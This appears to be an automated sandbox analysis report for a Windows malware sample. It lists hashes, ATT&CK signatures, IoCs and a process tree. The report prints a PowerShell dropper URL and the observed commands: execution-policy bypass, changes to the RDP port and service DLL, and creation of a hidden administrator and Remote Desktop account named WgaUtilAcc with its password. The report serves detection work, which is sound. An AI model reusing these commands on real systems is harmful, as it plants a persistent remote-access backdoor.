ae1c9d454905ed43654f99b1ea1e8ecc3ae08eb75c3860f46b285ce724ae5e4d

Target

472208d7ba18d4c14b7e90b9db5d6feb.exe
Size

5.9MB
MD5

472208d7ba18d4c14b7e90b9db5d6feb
SHA1

ff24cc43998ff99e61b1a838e1d51c4888498935
SHA256

ae1c9d454905ed43654f99b1ea1e8ecc3ae08eb75c3860f46b285ce724ae5e4d
SHA512

9ce72c4da799273ae13008c0033c3d0638f224042ae3bb7910ffb5f59a64babbcd8039468b0a94b8fa5f3192f543a59f493878ade5233d9958d874d59a1e1a15

Score

10^/10

persistence upx

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Blocklisted process makes network request 9 IoCs

flow	pid	Process
17	4076	powershell.exe
19	4076	powershell.exe
20	4076	powershell.exe
21	4076	powershell.exe
23	4076	powershell.exe
25	4076	powershell.exe
27	4076	powershell.exe
29	4076	powershell.exe
31	4076	powershell.exe

Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1076
Sets DLL path for service in the registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x000800000001ab2e-352.dat	upx
behavioral2/files/0x000500000001ab2f-353.dat	upx

Loads dropped DLL 2 IoCs

pid	Process
4008	Process not Found
4008	Process not Found

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Uninstall Information\IE40.UserAgent\IE40.UserAgent.INI	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE.HKCUZoneInfo\IE.HKCUZoneInfo.DAT	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE.HKCUZoneInfo\IE.HKCUZoneInfo.INI	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE40.UserAgent\IE40.UserAgent.DAT	powershell.exe

Drops file in Windows directory 19 IoCs

description	ioc	Process
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\__PSScriptPolicyTest_ymxdzjh2.nfm.psm1	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\branding\wupsvc.jpg	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\__PSScriptPolicyTest_qaeldrbj.blu.ps1	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\INetCache\counters2.dat	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File created	C:\Windows\branding\wupsvc.jpg	powershell.exe
File created	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\TMP4352$.TMP	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGIF506.tmp	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGIF526.tmp	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGIF527.tmp	powershell.exe
File created	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\branding\Basebrd	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGIF497.tmp	powershell.exe
File opened for modification	C:\Windows\branding\ShellBrd	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGIF4F6.tmp	powershell.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo\RegBackup\0.map\57fd7ae31ab34c2c = ",33,HKCU,SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\5.0\\Cache\\Extensible Cache,"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\PMDisplayName = "Internet [Protected Mode]"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\Flags = "33"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\1200 = "3"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\DisplayName = "Computer"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\LowIcon = "inetcpl.cpl#005422"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\DisplayName = "Local intranet"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\Flags = "3"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\DisplayName = "My Computer"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\Description = "This zone contains all Web sites you haven't placed in other zones"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\Icon = "shell32.dll#0016"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\Icon = "inetcpl.cpl#00004480"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\CurrentLevel = "66816"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\Flags = "71"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\Description = "Your computer"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\http = "3"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\IE5_UA_Backup_Flag = "5.0"	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo\RegBackup\0\e1be3f182420a0a0 = 2c0053006f006600740077006100720065005c004d006900630072006f0073006f00660074005c00570069006e0064006f00770073005c00430075007200720065006e007400560065007200730069006f006e005c0049006e007400650072006e00650074002000530065007400740069006e00670073002c000000	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\Icon = "shell32.dll#0018"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyEnable = "0"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\PMDisplayName = "Trusted sites [Protected Mode]"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\DisplayName = "Trusted sites"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Classes\Local Settings\MuiCache\16\52C64B7E	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\1400 = "0"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\1200 = "0"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\1400 = "0"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\CurrentLevel = "73728"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\Flags = "33"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\PMDisplayName = "Restricted sites [Protected Mode]"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\Flags = "33"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\Description = "This zone contains Web sites that you trust not to damage your computer or data."	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\DisplayName = "Trusted sites"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\PMDisplayName = "Local intranet [Protected Mode]"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\LowIcon = "inetcpl.cpl#005424"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\Icon = "inetcpl.cpl#00004481"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\ftp = "3"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\@ivt = "1"	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZonesSecurityUpgrade = 6ead5207ab2cd701	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\CurrentLevel = "0"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\Flags = "1"	powershell.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
2996	reg.exe

Runs net.exe

Script User-Agent 4 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	19	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	20	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	21	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	23	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
2916	powershell.exe
2916	powershell.exe
2916	powershell.exe
3836	powershell.exe
3836	powershell.exe
3836	powershell.exe
3756	powershell.exe
3756	powershell.exe
3756	powershell.exe
1736	powershell.exe
1736	powershell.exe
1736	powershell.exe
2916	powershell.exe
2916	powershell.exe
2916	powershell.exe
4076	powershell.exe
4076	powershell.exe
4076	powershell.exe

Suspicious behavior: LoadsDriver 2 IoCs

pid	Process
612	Process not Found
612	Process not Found

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3128	472208d7ba18d4c14b7e90b9db5d6feb.exe
Token: SeDebugPrivilege	2916	powershell.exe
Token: SeDebugPrivilege	3836	powershell.exe
Token: SeIncreaseQuotaPrivilege	3836	powershell.exe
Token: SeSecurityPrivilege	3836	powershell.exe
Token: SeTakeOwnershipPrivilege	3836	powershell.exe
Token: SeLoadDriverPrivilege	3836	powershell.exe
Token: SeSystemProfilePrivilege	3836	powershell.exe
Token: SeSystemtimePrivilege	3836	powershell.exe
Token: SeProfSingleProcessPrivilege	3836	powershell.exe
Token: SeIncBasePriorityPrivilege	3836	powershell.exe
Token: SeCreatePagefilePrivilege	3836	powershell.exe
Token: SeBackupPrivilege	3836	powershell.exe
Token: SeRestorePrivilege	3836	powershell.exe
Token: SeShutdownPrivilege	3836	powershell.exe
Token: SeDebugPrivilege	3836	powershell.exe
Token: SeSystemEnvironmentPrivilege	3836	powershell.exe
Token: SeRemoteShutdownPrivilege	3836	powershell.exe
Token: SeUndockPrivilege	3836	powershell.exe
Token: SeManageVolumePrivilege	3836	powershell.exe
Token: 33	3836	powershell.exe
Token: 34	3836	powershell.exe
Token: 35	3836	powershell.exe
Token: 36	3836	powershell.exe
Token: SeDebugPrivilege	3756	powershell.exe
Token: SeIncreaseQuotaPrivilege	3756	powershell.exe
Token: SeSecurityPrivilege	3756	powershell.exe
Token: SeTakeOwnershipPrivilege	3756	powershell.exe
Token: SeLoadDriverPrivilege	3756	powershell.exe
Token: SeSystemProfilePrivilege	3756	powershell.exe
Token: SeSystemtimePrivilege	3756	powershell.exe
Token: SeProfSingleProcessPrivilege	3756	powershell.exe
Token: SeIncBasePriorityPrivilege	3756	powershell.exe
Token: SeCreatePagefilePrivilege	3756	powershell.exe
Token: SeBackupPrivilege	3756	powershell.exe
Token: SeRestorePrivilege	3756	powershell.exe
Token: SeShutdownPrivilege	3756	powershell.exe
Token: SeDebugPrivilege	3756	powershell.exe
Token: SeSystemEnvironmentPrivilege	3756	powershell.exe
Token: SeRemoteShutdownPrivilege	3756	powershell.exe
Token: SeUndockPrivilege	3756	powershell.exe
Token: SeManageVolumePrivilege	3756	powershell.exe
Token: 33	3756	powershell.exe
Token: 34	3756	powershell.exe
Token: 35	3756	powershell.exe
Token: 36	3756	powershell.exe
Token: SeDebugPrivilege	1736	powershell.exe
Token: SeIncreaseQuotaPrivilege	1736	powershell.exe
Token: SeSecurityPrivilege	1736	powershell.exe
Token: SeTakeOwnershipPrivilege	1736	powershell.exe
Token: SeLoadDriverPrivilege	1736	powershell.exe
Token: SeSystemProfilePrivilege	1736	powershell.exe
Token: SeSystemtimePrivilege	1736	powershell.exe
Token: SeProfSingleProcessPrivilege	1736	powershell.exe
Token: SeIncBasePriorityPrivilege	1736	powershell.exe
Token: SeCreatePagefilePrivilege	1736	powershell.exe
Token: SeBackupPrivilege	1736	powershell.exe
Token: SeRestorePrivilege	1736	powershell.exe
Token: SeShutdownPrivilege	1736	powershell.exe
Token: SeDebugPrivilege	1736	powershell.exe
Token: SeSystemEnvironmentPrivilege	1736	powershell.exe
Token: SeRemoteShutdownPrivilege	1736	powershell.exe
Token: SeUndockPrivilege	1736	powershell.exe
Token: SeManageVolumePrivilege	1736	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3128 wrote to memory of 2916	3128	472208d7ba18d4c14b7e90b9db5d6feb.exe	75
PID 3128 wrote to memory of 2916	3128	472208d7ba18d4c14b7e90b9db5d6feb.exe	75
PID 2916 wrote to memory of 1308	2916	powershell.exe	77
PID 2916 wrote to memory of 1308	2916	powershell.exe	77
PID 1308 wrote to memory of 1312	1308	csc.exe	78
PID 1308 wrote to memory of 1312	1308	csc.exe	78
PID 2916 wrote to memory of 3836	2916	powershell.exe	79
PID 2916 wrote to memory of 3836	2916	powershell.exe	79
PID 2916 wrote to memory of 3756	2916	powershell.exe	84
PID 2916 wrote to memory of 3756	2916	powershell.exe	84
PID 2916 wrote to memory of 1736	2916	powershell.exe	86
PID 2916 wrote to memory of 1736	2916	powershell.exe	86
PID 2916 wrote to memory of 2532	2916	powershell.exe	89
PID 2916 wrote to memory of 2532	2916	powershell.exe	89
PID 2916 wrote to memory of 2996	2916	powershell.exe	90
PID 2916 wrote to memory of 2996	2916	powershell.exe	90
PID 2916 wrote to memory of 3968	2916	powershell.exe	91
PID 2916 wrote to memory of 3968	2916	powershell.exe	91
PID 2916 wrote to memory of 2788	2916	powershell.exe	92
PID 2916 wrote to memory of 2788	2916	powershell.exe	92
PID 2788 wrote to memory of 576	2788	net.exe	93
PID 2788 wrote to memory of 576	2788	net.exe	93
PID 2916 wrote to memory of 196	2916	powershell.exe	94
PID 2916 wrote to memory of 196	2916	powershell.exe	94
PID 196 wrote to memory of 1300	196	cmd.exe	95
PID 196 wrote to memory of 1300	196	cmd.exe	95
PID 1300 wrote to memory of 3028	1300	cmd.exe	96
PID 1300 wrote to memory of 3028	1300	cmd.exe	96
PID 3028 wrote to memory of 2532	3028	net.exe	97
PID 3028 wrote to memory of 2532	3028	net.exe	97
PID 2916 wrote to memory of 2996	2916	powershell.exe	98
PID 2916 wrote to memory of 2996	2916	powershell.exe	98
PID 2996 wrote to memory of 3080	2996	cmd.exe	99
PID 2996 wrote to memory of 3080	2996	cmd.exe	99
PID 3080 wrote to memory of 3832	3080	cmd.exe	100
PID 3080 wrote to memory of 3832	3080	cmd.exe	100
PID 3832 wrote to memory of 1844	3832	net.exe	101
PID 3832 wrote to memory of 1844	3832	net.exe	101
PID 3916 wrote to memory of 1188	3916	cmd.exe	105
PID 3916 wrote to memory of 1188	3916	cmd.exe	105
PID 1188 wrote to memory of 2260	1188	net.exe	106
PID 1188 wrote to memory of 2260	1188	net.exe	106
PID 2300 wrote to memory of 2516	2300	cmd.exe	109
PID 2300 wrote to memory of 2516	2300	cmd.exe	109
PID 2516 wrote to memory of 1300	2516	net.exe	110
PID 2516 wrote to memory of 1300	2516	net.exe	110
PID 2008 wrote to memory of 2264	2008	cmd.exe	113
PID 2008 wrote to memory of 2264	2008	cmd.exe	113
PID 2264 wrote to memory of 4076	2264	net.exe	114
PID 2264 wrote to memory of 4076	2264	net.exe	114
PID 2972 wrote to memory of 1420	2972	cmd.exe	117
PID 2972 wrote to memory of 1420	2972	cmd.exe	117
PID 1420 wrote to memory of 3292	1420	net.exe	118
PID 1420 wrote to memory of 3292	1420	net.exe	118
PID 2068 wrote to memory of 1520	2068	cmd.exe	121
PID 2068 wrote to memory of 1520	2068	cmd.exe	121
PID 1520 wrote to memory of 2172	1520	net.exe	122
PID 1520 wrote to memory of 2172	1520	net.exe	122
PID 3980 wrote to memory of 1300	3980	cmd.exe	125
PID 3980 wrote to memory of 1300	3980	cmd.exe	125
PID 1300 wrote to memory of 196	1300	net.exe	126
PID 1300 wrote to memory of 196	1300	net.exe	126
PID 2972 wrote to memory of 3968	2972	cmd.exe	129
PID 2972 wrote to memory of 3968	2972	cmd.exe	129

C:\Users\Admin\AppData\Local\Temp\472208d7ba18d4c14b7e90b9db5d6feb.exe
"C:\Users\Admin\AppData\Local\Temp\472208d7ba18d4c14b7e90b9db5d6feb.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3128
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
  2⤵
  - Drops file in Windows directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2916
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\wxut4r0f\wxut4r0f.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1308
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES9A23.tmp" "c:\Users\Admin\AppData\Local\Temp\wxut4r0f\CSC249ECC34788B4231A934D2558BAC15C4.TMP"
      4⤵
      PID:1312
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3836
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3756
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1736
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
    3⤵
    PID:2532
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
    3⤵
    - Modifies registry key
    PID:2996
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
    3⤵
    PID:3968
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2788
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
      4⤵
      PID:576
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:196
  - - C:\Windows\system32\cmd.exe
      cmd /c net start rdpdr
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1300
    - - C:\Windows\system32\net.exe
        
        net start rdpdr
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:3028
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start rdpdr
        6⤵
        
        PID:2532
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2996
  - - C:\Windows\system32\cmd.exe
      cmd /c net start TermService
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3080
    - - C:\Windows\system32\net.exe
        
        net start TermService
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:3832
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start TermService
        6⤵
        
        PID:1844
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
    3⤵
    PID:2972
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
    3⤵
    PID:2264

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc 000000 /del
1⤵
- Suspicious use of WriteProcessMemory
PID:3916
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc 000000 /del
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1188
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc 000000 /del
    3⤵
    PID:2260

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc N9Xm3ZCO /add
1⤵
- Suspicious use of WriteProcessMemory
PID:2300
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc N9Xm3ZCO /add
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2516
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc N9Xm3ZCO /add
    3⤵
    PID:1300

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
1⤵
- Suspicious use of WriteProcessMemory
PID:2008
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2264
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
    3⤵
    PID:4076

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" GFBFPSXA$ /ADD
1⤵
- Suspicious use of WriteProcessMemory
PID:2972
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" GFBFPSXA$ /ADD
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1420
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" GFBFPSXA$ /ADD
    3⤵
    PID:3292

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
1⤵
- Suspicious use of WriteProcessMemory
PID:2068
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1520
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
    3⤵
    PID:2172

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc N9Xm3ZCO
1⤵
- Suspicious use of WriteProcessMemory
PID:3980
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc N9Xm3ZCO
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1300
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc N9Xm3ZCO
    3⤵
    PID:196

C:\Windows\System32\cmd.exe
cmd.exe /C wmic path win32_VideoController get name
1⤵
- Suspicious use of WriteProcessMemory
